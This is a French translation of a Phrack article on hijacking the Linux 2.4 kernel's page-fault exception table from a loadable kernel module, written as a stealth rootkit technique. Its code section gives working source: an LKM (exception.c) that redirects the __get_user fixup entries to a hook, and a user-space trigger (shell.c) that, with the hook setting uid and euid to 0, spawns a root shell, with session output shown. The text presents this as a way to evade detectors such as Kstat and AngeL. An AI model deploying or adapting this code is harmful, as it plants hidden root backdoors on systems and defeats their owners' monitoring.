
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x07 of 0x0f

|=-------------=[ Hijacking Linux Page Fault Handler ]=------------------=|
|=-------------=[            Exception Table         ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ buffer <buffer@antifork.org> ]=---------------------=|
|=------------------[ http://buffer.antifork.org ]=----------------------=|
|=---------------------[ Traduit par X-FaKtOr ]=-------------------------=|




--[ Sommaire

    
    1.  Introduction
    2.  Appels systmes et accs au User Space
    3.  Exception page fault
    4.  Implmentation
    5.  Autres considrations
    6.  Conclusions
    7.  Remerciements
    8.  Rfrences



--[ 1 - Introduction


"Juste un autre LKM Linux"... c'est ce que vous pourriez penser en lisant
cet article. Dans les annes passes nous avons vu beaucoup de techniques
pour cacher toutes sortes de choses, par ex. des processus, des connections
rseaux, des fichiers, etc., via l'utilisation des LKM.Les premires
techniques taient vraiment simples  comprendre. Le rel problme avec ces
techniques est qu'elles sont facilement dtectables, comme beaucoup
d'autres. Si vous remplacez une adresse dans la table des syscall ou si
vous crasez les 7 premiers octets dans le code du syscall (comme dcrit
par Silvio Cesare [4]), il est assez facile pour des outils tels que  Kstat
[5] et/ou AngeL [6] d'identifier ces activits malicieuses. Plus tard, des
techniques plus sophistiques furent prsentes. Une technique intressante
fut propose par kad, qui suggra de modifier la table des descripteurs
d'interruptions de  manire  rediriger une exception leve depuis un code
du User Space(telle que "Erreur de division") pour excuter ou nouveau
handler dont l'adresse remplace celle de l'original dans l'entre de l'IDT
[7]. Cette ide est belle mais elle a deux dsavantages:

1- Cette mthode est dtectable en usant d'une approche base sur les
valeurs des hashs calcules  partir de l'IDT entire, comme montr par
AngeL dans ses dernires releases 0.9.x. Ceci est du principalement au fait
que l'adresse  laquelle rside l'IDT dans le kernel space peut tre
obtenue car sa valeur est stocke dans le registre %idtr. Ce registre peut
tre lu via l'instruction assembleur sidt qui nous autorise  la stocker
dans une variable.

2- Si le code d'un utilisateur excute une division par 0 (cela peut se
produire...) un comportement trange peut apparatre. Oui, nous pourrions
penser que ceci est rare si nous choisissons le bon handler, mais y a-t'il
une solution plus sure?

L'ide que je propose a juste un but: Fournir une furtivit efficace contre
tous les outils utiliss pour la dtection de LKMs malicieux. La technique
est base sur une fonctionnalit du kernel qui n'est jamais utilis dans la
pratique. En fait, comme nous allons le voir, nous explorerons un mcanisme
de protection gnral dans le sous-systme de gestion de la mmoire.  Ce
mcanisme est utilis uniquement si un code du user space est compltement
bugg et ce n'est gnralement pas le cas.

Trve de mots allons-y!


--[ 2 - Appels systmes et accs au User Space


Avant tout un mot sur la thorie. Je vais me rfrer au kernel Linux
2.4.20, cependant le code est presque identique pour les kernel 2.2. En
particulier nous sommes intresss par ce qui se produit dans certaines
situations quand nous devons demander une fonctionnalit du kernel par
l'intermdiaire d'un syscall. Quand un syscall est appel depuis le user
space(via l'interruption logicielle 0x80)le handler d'interruption
system_call() est excut. Jetons un oeil  son implmentation, trouve
dans arch/i386/kernel/entry.S.


ENTRY(system_call)
        pushl %eax                      # sauve orig_eax
        SAVE_ALL
        GET_CURRENT(%ebx)
        testb $0x02,tsk_ptrace(%ebx)    # PT_TRACESYS
        jne tracesys
        cmpl $(NR_syscalls),%eax
        jae badsys
        call *SYMBOL_NAME(sys_call_table)(,%eax,4)
        movl %eax,EAX(%esp)             # sauve la valeur de retour
[..]


Comme nous pouvons le voir, system_call() sauve le contenu de chaque
registre dans la pile du mode Kernel. Il en rsulte un pointeur sur la
structure task_struct du processus courant en excution via l'appel
GET_CURRENT(%ebx).  Quelques vrifications sont faites que les numros de
syscall sont corrects et pour voir si le process est actuellement en train
d'tre trac. Finalement le sycall est appel via sys_call_table, ce qui
conserve les adresses des syscall, en utilisant le numro de syscall sauv
dans %eax en tant qu'offset  l'intrieur de la table. Maintenant jetons un
oeil  quelque syscall particuliers.  Pour nos ambitions nous cherchons des
syscalls qui prennent un pointeur vers le User Space comme argument. J'ai
choisi sys_ioctl() mais il y en a d'autres avec des caractristiques
similaires.


asmlinkage long sys_ioctl(unsigned int fd, unsigned int cmd, unsigned long
arg)
{
        struct file * filp;
        unsigned int flag;
        int on, error = -EBADF;
[..]

	 case FIONBIO:
               if ((error = get_user(on, (int *)arg)) != 0)
                       break;
               flag = O_NONBLOCK;
[..]



La macro get_user() est utilise pour copier des donnes du User Space vers
le Kernel Space. Dans ce cas nous portons notre attention sur le code pour
mettre des E/S non bloquantes sur le descripteur de fichier pass au
syscall. Un exemple d'utilisation correcte,  partir du User Space, de
cette fonctionnalit pourrait tre :



	int	on = 1;

	ioctl(fd, FIONBIO, &on); 


Jetons un coup d'oil  l'implmentation de get_user() qui peut tre trouve
dans include/asm/uaccess.h.


#define __get_user_x(size,ret,x,ptr) \
        __asm__ __volatile__("call __get_user_" #size \
                :"=a" (ret),"=d" (x) \
                :"0" (ptr))
        
/* Attention : on doit caster le rsultat au type du pointeur pour des raisons de signe*/
#define get_user(x,ptr)                                                 \
({      int __ret_gu,__val_gu;                                          \
        switch(sizeof (*(ptr))) {                                       \
        case 1:  __get_user_x(1,__ret_gu,__val_gu,ptr); break;          \
        case 2:  __get_user_x(2,__ret_gu,__val_gu,ptr); break;          \
        case 4:  __get_user_x(4,__ret_gu,__val_gu,ptr); break;          \
        default: __get_user_x(X,__ret_gu,__val_gu,ptr); break;          \
        }                                                               \
        (x) = (__typeof__(*(ptr)))__val_gu;                             \
        __ret_gu;                                                       \
})


Comme nous pouvons le voir, get_user() est implment d'une manire trs
lgante car il appelle la bonne fonction en se basant sur la taille de
l'argument qui doit tre copi a partir du User Space. Selon la valeur de
(sizeof (*(ptr))) __get_user_1(), __get_user_2() or __get_user_4(),
seraient appeles.

Maintenant jetons un oeil  l'une de ces fonctions, __get_user_4(), qui
peut tre trouve dans arch/i386/lib/getuser.S.



addr_limit = 12

[..]

.align 4
.globl __get_user_4
__get_user_4:
        addl $3,%eax
        movl %esp,%edx
        jc bad_get_user
        andl $0xffffe000,%edx
        cmpl addr_limit(%edx),%eax
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret
  
bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret
  
.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous


Les dernires lignes entre .section et .previous identifient la table
d'exception dont nous allons parler plus loin tant donn que c'est
important pour notre but. 

Comme on le voit, l'implmentation de __get_user_4() est franche.
L'adresse de l'argument est le registre %eax. En ajoutant 3 %eax, il est
possible d'obtenir la plus grande adresse rfrence du User Space. Il est
ncessaire de contrler si cette adresse est bien dans la tranche
adressable du User Space (De 0x00000000  PAGE_OFFSET - 1 ou PAGE_OFFSET
est gnralement 0xc0000000). 

Si, en comparant l'adresse du User Space avec current->addr_limit.seg
(Stock  l'offset 12  partir du dbut du descripteur de tache, dont le
pointeur a t obtenu en mettant a zro les 13 derniers bits du la pile du
mode Kernel) nous trouvons que c'est suprieur  PAGE_OFFSET - 1, nous
sautons au label bad_get_user mettant ainsi %edx  zro et mettant -EFAULT
(-14) dans %eax (valeur de retour du syscall).

Mais que se passe t-il si cette adresse est dans la tranche mmoire
adressable (Infrieur  PAGE_OFFSET) mais a l'extrieur de l'espace
d'adressage du process?  Quelqu'un avait dit Page Fault?!


--[ 3 - Exception Page Fault


"Une exception page fault est leve quand la page d'adresse n'est pas
prsente dans la mmoire, l'entre correspondante de la table des pages est
nulle ou une violation du mcanisme de protection de la pagination s'est
produite." [1]

Linux gre une exception page fault avec le handler de page fault
do_page_fault(). Ce handler peut tre trouv dans arch/i386/mm/fault.c

En particulier, nous sommes intresss par les trois cas qui peuvent se
produire lorsqu'une page fault se produit dans le Mode Kernel.

Dans le premier cas, "le kernel tente d'adresser une appartenance de page 
l'espace d'adressage du process, mais soit la cadre de page correspondante
n'existe pas(Demande de Pagination) soit le kernel tente d'crire sur une
page en lecture seule (Copy On Right)." [1]

Dans le second cas, "certaines fonctions du kernel incluent un bug de
programmation qui provoquent la leve d'une exception lorsque le programme
est excut; Dans certains cas, l'exception peut tre cause par une erreur
matrielle passagre." [1]

Ces deux cas ne sont pas intressant dans notre cadre.

Le troisime (et intressant) cas se produit lorsque "une routine d'appel
systme de service (tel que sys_ioctl() dans notre exemple) tente de lire
ou d'crire dans une zone mmoire dont l'adresse a t passe en tant que
paramtre d'un appel systme, mais cette adresse n'appartient pas 
l'espace d'adressage du process." [1]

Le premier cas est aisment identifiable en regardant les rgions mmoires
du process. Si l'adresse qui  caus l'exception appartient  l'espace
d'adressage du process il va planter  l'intrieur d'une rgion mmoire du
process.  Ceci n'est pas intressant dans notre propos.

La chose intressante est la faon dont le kernel peut distinguer le
deuxime du troisime cas. La cl pour dterminer la source d'un page fault
rside dans les ranges peu espaces d'appels que le kernel utilise pour
accder  l'espace mmoire du process.

Dans cette optique, le kernel construit une table d'exception dans la
mmoire du kernel. Les limites d'une telle rgion sont dfinies par les
symboles __start___ex_table et __stop___ex_table. Leurs valeurs peuvent
tre aisment dduites  partir de System.map de cette manire.


buffer@rigel:/usr/src/linux$ grep ex_table System.map 
c0261e20 A __start___ex_table
c0264548 A __stop___ex_table
buffer@rigel:/usr/src/linux$

Quel est le contenu de cette zone mmoire? Dans cette zone vous pouvez
trouver bon nombre d'adresses. La premire (insn) reprsente l'adresse de
l'instruction (appartenant  une fonction qui accde  la range d'adresses
du User Space, telles que celles dcrites prcdemment) qui peut lever un
page fault. La seconde (fixup) est un pointeur sur "fixup code".

Lorsqu'un page fault se produit dans le kernel et que le premier cas n'est
pas vrifi, le kernel vrifie si l'adresse qui cause le page fault
correspond  une entre insn dans la table d'exception. Si ce n'est pas  le
cas nous sommes dans le second cas et le kernel lve un Oops.  Sinon, si
l'adresse correspond  une entre insn dans la table d'exception nous
sommes dans le troisime cas comme l'exception page fault a t leve lors
d'un accs  une adresse du User Space. Dans ce cas, le contrle est pass
 la fonction dont l'adresse est spcifie dans la table des exceptions en
tant que code correctif.

Ceci se fait simplement de la faon suivante :


if ((fixup = search_exception_table(regs->eip)) != 0) {
                regs->eip = fixup;
                return;
        }


La fonction search_exception_table() recherche une entre insn dans la
table d'exception qui correspond  l'adresse de l'instruction qui a lev le
page fault. Si elle est trouve, cela veut dire que l'exception page fault
a t leve durant un accs  une adresse du User Space. Dans ce cas,
regs->eip est point par le code correctif et ensuite la fonction
do_page_fault() retourne, sautant ainsi au code correctif.

Il est vident que les trois fonctions __get_user_x(), qui accdent  des
adresses du User Space, doivent avoir un code correctif pour grer des
situations telles que celles dcrites prcdemment. 

En revenant en arrire jetons de nouveau un il  __get_user_4()

.align 4
.globl __get_user_4
__get_user_4:
        addl $3,%eax
        movl %esp,%edx
        jc bad_get_user
        andl $0xffffe000,%edx
        cmpl addr_limit(%edx),%eax
        jae bad_get_user
3:      movl -3(%eax),%edx
        xorl %eax,%eax
        ret

bad_get_user:
        xorl %edx,%edx
        movl $-14,%eax
        ret

.section __ex_table,"a"
        .long 1b,bad_get_user
        .long 2b,bad_get_user
        .long 3b,bad_get_user
.previous


Avant tout, en regardant le code, nous devons porter notre attention  la
directive GNU assembleur .section qui permet au programmeur de spcifier
quelle section de l'excutable va contenir le code qui va suivre.
L'attribut  "a" spcifie que la section doit tre charge en mmoire en
mme temps que le reste de l'image kernel. Ainsi, dans  ce cas, les trois
entres sont insres dans la table d'exception du kernel et sont charges
avec le reste de l'image kernel.

Maintenant, regardons __get_user_4(), il y  une instruction avec comme
label 3.


3:      movl -3(%eax),%edx


Si nous avons ajout 3  %eax (c'est fait dans la premire instruction de
la fonction __get_user_4()  des fins de vrifications comme soulign
prcdemment), -3(%eax) est l'adresse de dbut de l'argument de 32 bits 
copier  partir du User Space. Ainsi, c'est l'instruction qui accde
rellement aux adresses du User Space. Jetez un coup d'oeil  la dernire
entre dans la table d'exception


	.long 3b,bad_get_user


Si vous savez que le suffixe b veut dire 'backard' pour indiquer que le
label apparat prcdemment dans une prcdente ligne de code (ou sinon
ignorez  c'est pour comprendre le signification de ce code), vous pouvez
comprendre que nous avons en fait


	insn  :	 address of   movl -3(%eax),%edx
 	fixup :  address of   bad_get_user


Bon les gars, nous ralisons ici que bad_get_user est le code correctif
pour la fonction __get_user_4() et il va tre appel  chaque fois que
l'instruction portant le label 3 lve un page fault. Cela reste bien sr
toujours vrai pour les fonction get_user_1() et __get_user_2().

A ce stade il nous faut l'adresse de bad_get_user.


buffer@rigel:/usr/src/linux$ grep bad_get_user System.map
c022f39c t bad_get_user
buffer@rigel:/usr/src/linux$


Si vous compilez exception.c (montr aprs) avec le flag FIXUP_DEBUG, vous
allez voir ceci dans les fichiers de logs qui vous montrent ce que ce dont
nous avons parl plus tt.


May 23 18:36:35 rigel kernel:  address : c0264530 insn: c022f361 
			       fixup : c022f39c 
May 23 18:36:35 rigel kernel:  address : c0264538 insn: c022f37a 
			       fixup : c022f39c 
May 23 18:36:35 rigel kernel:  address : c0264540 insn: c022f396 
			       fixup : c022f39c


buffer@rigel:/usr/src/linux$  grep __get_user_ System.map  
c022f354 T __get_user_1 
c022f368 T __get_user_2 
c022f384 T __get_user_4


En regardant la dernire entre dans la table d'exception, nous pouvons
facilement raliser que 0xc022f396 est l'adresse de l'instruction labelle
3 dans le code source de __get_user_4() qui pourrait lever un page fault
comme soulign plus tt. Bien sur, la situation est similaire pour les deux
autres fonctions.

Maintenant l'ide devrait apparatre clairement. Si je remplace le code
correctif dans la table d'exception et ensuite dans le User Space j'appelle
juste un syscall avec un argument dont l'adresse est errone, je peux
forcer l'excution de ce que je veux. Et pour faire cela, j'ai juste besoin
de modifier 4 octets ! De plus, cela apparat particulirement furtif car
cette situation n'est pas si courante que . En fait, pour provoquer cette
situation, il est ncessaire que le programme que vous allez excuter
contienne un bug en passant un argument  un syscall. Si vous savez que
cela peut mener  quelque chose d'intressant vous pouvez mme le faire
mais cette situation est trs rare. Dans le prochain paragraphe je vais
vous prsenter une preuve de concept qui montre comment exploiter ce que je
viens d'exposer. Dans cette exemple, j'ai modifi l'adresse du code
correctif des trois fonctions __get__user_x().


--[ 4 - Implmentation


C'est un LKM. Dans ce code, j'ai crit en dur certaines valeurs prises dans
mon fichier System.map mais ce n'est pas ncessaire d'diter le code source
tant donn que ces valeurs peuvent tre passes au module an appelant
insmod pour le lier au kernel. Si vous voulez plus de verbiage dans les
fichiers de logs, compilez le avec le flag -DFIXUP_DEBUG (comme cela a t
fait pour montrer les rsultats prcdent). 


---------------[ exception.c ]----------------------------------------

/*
 * Filename: exception.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */

#ifndef __KERNEL__
#define __KERNEL__
#endif

#ifndef MODULE
#define MODULE
#endif

#define __START___EX_TABLE 0xc0261e20
#define __END___EX_TABLE   0xc0264548
#define BAD_GET_USER       0xc022f39c

unsigned long start_ex_table = __START___EX_TABLE;
unsigned long end_ex_table = __END___EX_TABLE;
unsigned long bad_get_user = BAD_GET_USER;

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>

#ifdef FIXUP_DEBUG
#  define PDEBUG(fmt, args...) printk(KERN_DEBUG "[fixup] : " fmt, ##args)
#else
#  define PDEBUG(fmt, args...) do {} while(0)
#endif

MODULE_PARM(start_ex_table, "l");
MODULE_PARM(end_ex_table, "l");
MODULE_PARM(bad_get_user, "l");


struct old_ex_entry {
        struct old_ex_entry     *next;
        unsigned long           address;
        unsigned long           insn;
        unsigned long           fixup;
};
  
struct old_ex_entry *ex_old_table;

void hook(void) 

{
        printk(KERN_INFO "Oh Jesus... it works!\n");
} 

void cleanup_module(void)
{
        struct old_ex_entry     *entry = ex_old_table;
        struct old_ex_entry     *tmp;

        if (!entry)
                return;

        while (entry) {
                *(unsigned long *)entry->address = entry->insn;
                *(unsigned long *)((entry->address) + sizeof(unsigned
long)) = entry->fixup;
                tmp = entry->next;
                kfree(entry);
                entry = tmp;
        }

        return;
}


int init_module(void)
{
        unsigned long       insn = start_ex_table;
        unsigned long       fixup;
        struct old_ex_entry *entry, *last_entry;

        ex_old_table = NULL;
        PDEBUG(KERN_INFO "hook at address : %p\n", (void *)hook);

        for(; insn < end_ex_table; insn += 2 * sizeof(unsigned long)) {

                fixup = insn + sizeof(unsigned long);

                if (*(unsigned long *)fixup == BAD_GET_USER) {

                        PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                        (void *)insn, *(unsigned long *)insn,
                                        *(unsigned long *)fixup);
        
                        entry = (struct old_ex_entry *)kmalloc(GFP_ATOMIC,
					sizeof(struct old_ex_entry));
        
                        if (!entry)
                                return -1;

                        entry->next = NULL;
                        entry->address = insn;
                        entry->insn = *(unsigned long *)insn;
                        entry->fixup = *(unsigned long *)fixup;

                        if (ex_old_table) {
                                last_entry = ex_old_table;
        
                        	while(last_entry->next != NULL)
                                	last_entry = last_entry->next;

                                last_entry->next = entry;
                        } else
                                ex_old_table = entry;
                
                        *(unsigned long *)fixup = (unsigned long)hook;
                
                        PDEBUG(KERN_INFO "address : %p insn: %lx fixup : %lx\n",
                                        (void *)insn, *(unsigned long *)insn,
                                        *(unsigned long *)fixup);


                }

        }

        return 0;
}
        
MODULE_LICENSE("GPL");

-------------------------------------------------------------------------



Et maintenant un code simple qui appelle ioctl(2) avec un mauvais argument.



---------------- [ test.c ]----------------------------------------------


/*
 * Filename: test.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
        int     fd;
        int     res;

        fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
        res = ioctl(fd, FIONBIO, NULL);
        printf("result = %d errno = %d\n", res, errno);
        return 0;
}

-------------------------------------------------------------------------


Ok regardons comment cela marche.


buffer@rigel:~$ gcc -I/usr/src/linux/include -O2 -Wall -c exception.c 
buffer@rigel:~$ gcc -o test test.c
buffer@rigel:~$ ./test 
result = -1 errno = 14


Comme nous le supposions, nous avons une erreur EFAULT (errno = 14).
Tentons de lier notre module maintenant.


buffer@rigel:~$ su 
Password: 
bash-2.05b# insmod exception.o
bash-2.05b# exit
buffer@rigel:~$ ./test 
result = 25 errno = 0
buffer@rigel:~$ 


En regardant /var/log/messages


bash-2.05b# tail -f /usr/adm/messages
[..]
May 23 21:31:56 rigel kernel: Oh Jsus... ca fonctionne!


Il semblerait que a marche correctement ! :)
Que peut-on faire ? Jetez un coup d'il a ceci !

En changeant la fonction hook() prcdente par celle ci


	void hook(void) 
	{
        	current->uid = current->euid = 0;
	}


et utiliser ce code du user space pour avertir le gestionnaire de page fault



------------ shell.c -----------------------------------------------------


/*
 * Filename: shell.c
 * Creation date: 23.05.2003
 * Author: Angelo Dell'Aera 'buffer' - buffer@antifork.org
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 */


#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

int main()
{
        int     fd;
        int     res;
        char    *argv[2];

        argv[0] = "/bin/sh";
        argv[1] = NULL;

        fd = open("testfile", O_RDWR | O_CREAT, S_IRWXU);
        res = ioctl(fd, FIONBIO, NULL);
        printf("result = %d errno = %d\n", res, errno);
        execve(argv[0], argv, NULL);
        return 0;
}

--------------------------------------------------------------------------


buffer@rigel:~$ su  
Password: 
bash-2.05b# insmod exception.o 
bash-2.05b# exit
buffer@rigel:~$ gcc -o shell shell.c 
buffer@rigel:~$ id
uid=500(buffer) gid=100(users) groups=100(users)
buffer@rigel:~$ ./shell 
result = 25 errno = 0
sh-2.05b# id
uid=0(root) gid=100(users) groups=100(users)
sh-2.05b# 


Charmant, n'est-il pas ? :)

C'est juste un exemple de ce que vous pouvez faire. En utilisant ce LKM,
vous pouvez excuter n'importe quoi comme si vous tiez root. Avez-vous
besoin d'autre chose ? Et bien ce dont vous avez besoin est juste de
modifier hook() et/ou le code du user space qui lve une exception page
fault...Laissez libre cours  votre imagination !



-- [ 5 - Autres considrations 


Quand cette ide m'est venue  l'esprit je n'tais pas  mme de raliser
ce que j'avais accomplit. Cela vint comme le rsultat d'une masturbation
intellectuelle. Et quelques heures plus tard je compris... 

Pensez  ce qu'il vous faut pour changer une entre dans la table des
syscall pour rediriger un syscall. Ou pensez  ce dont vous avez besoin
pour modifier les 7 premiers octets du code d'un syscall comme soulign par
Silvio. Ce qu'il vous faut c'est juste une "note de rfrence". Ici votre
"note de rfrence" est le symbole export sys_call_table dans les deux
cas. Mais, malheureusement vous n'tes pas le seul  savoir ceci. Les
outils de dtections  peuvent facilement le savoir (comme c'est un symbole
export) et ainsi il est assez simple pour eux de dtecter les changements
dans la table de syscall et/ou dans le code du syscall. 

Que se passe t-il si vous vous voulez modifier le table des descripteurs
d'interruption comme expliqu par kad ? Vous avez besoin d'une "marque de
rfrence" de la mme manire. Dans ce cas, la "marque de rfrence" est
l'adresse de l'IDT dans la mmoire du kernel. Mais cette adresse est
galement facile  retrouver et ce dont a besoin a un outil de dtection
pour l'obtenir est juste ceci


	long long idtr; 
	long __idt_table;

	__asm__ __volatile__("sidt %0\n" : : "m"(idtr)); 
	__idt_table = idtr >> 16;


De ce fait, __idt_table va stocker l'adresse de l'IDT et ainsi obtenir
facilement la "marque de rfrence" pour l'IDT. Ca se fait par
l'intermdiaire de l'instruction asm sidt. AngeL, dans ces derniers
releases 0.9.x, utilise cette approche et est capable de dtecter en
temps-rel une attaque base sur ce qui est expos dans [7].

Maintenant repensons  ce dont j'ai parl dans les prcdents paragraphes.
Il est facile  comprendre qu'obtenir une "marque de rfrence" pour table
d'exception de page fault n'est pas toujours si simple comme dans les cas
prcdents.

La seule faon pour retrouver l'adresse de la table d'exception de page
fault est via le fichier System.map.

Pendant que j'crivais un outil de dtection dont le but tait de dtecter
ce type d'attaque, en faisant la supposition que le System.map rfre au
kernel actuellement en fonctionnement j'ai pens que cela pourrait tre
improductif. En fait, si ce n'tait pas vrai, l'outil de dtection pourrait
commencer  monitorer les adresses o aucune donne kernel importante ne
rside.

Souvenez-vous qu'il est ais de gnrer un fichier System.map via nm(2)
mais il y a de nombreux systmes par les temps qui courent dont les
administrateurs ignore tout simplement le rle du System.map et ne le
maintiennent pas  jour par rapport au kernel tournant actuellement.

-- [ 6 - Conclusions


Modifier le table de gestionnaire d'exception de page fault est assez
simple comme nous venons de le raliser. De plus, c'est vraiment furtif car
il est possible d'obtenir des rsultats fabuleux en modifiant juste 4
octets dans la mmoire kernel. Dans mon code de preuve de concept, pour des
raisons de simplicit, j'ai modifi 12 octets mais il est facile de se
rendre compte qu'il est possible d'obtenir le mme rsultat en modifiant
juste l'adresse du code correctif de __get_user_4().

De plus, il est difficile de dnicher ces programmes avec ce type de bugs
qui provoquent ce genre de comportement. Souvenez-vous que pour provoquer
cette situation vous devez passer une mauvaise adresse  un syscall.
Combien de programme faisant cela avez-vous dj vu ? Je pense que ce type
d'approche est vraiment furtif car cette situation ne se produit jamais. En
fait, ce sont des bugs qui, s'ils sont prsents, sont le plus souvent
corrigs par les auteurs avant la distribution de leurs programmes. Le
kernel doit implmenter l'approche dcrite prcdemment mais habituellement
il n'y a aucune raison de l'excuter.


-- [ 7 - Remerciements


Un grand merci aux gars de la recherche Antifork...c'tait vraiment cool de
bosser avec vous !


-- [ 8 - Rfrences


 [1] "Understanding the Linux Kernel"
     Daniel P. Bovet and Marco Cesati
     O'Reilly 

 [2] "Linux Device Drivers"
      Alessandro Rubini and Jonathan Corbet
      O'Reilly 

 [3] Linux kernel source
     [http://www.kernel.org]

 [4] "Syscall Redirection Without Modifying the Syscall Table"
     Silvio Cesare
     [http://www.big.net.au/~silvio/]
    
 [5] Kstat
     [http://www.s0ftpj.org/en/tools.html]

 [6] AngeL
     [http://www.sikurezza.org/angel]

 [7] "Handling Interrupt Descriptor Table for Fun and Profit"
     kad 
     Phrack59-0x04
     [http://www.phrack.org]



|=[ EOF ]=---------------------------------------------------------------=|


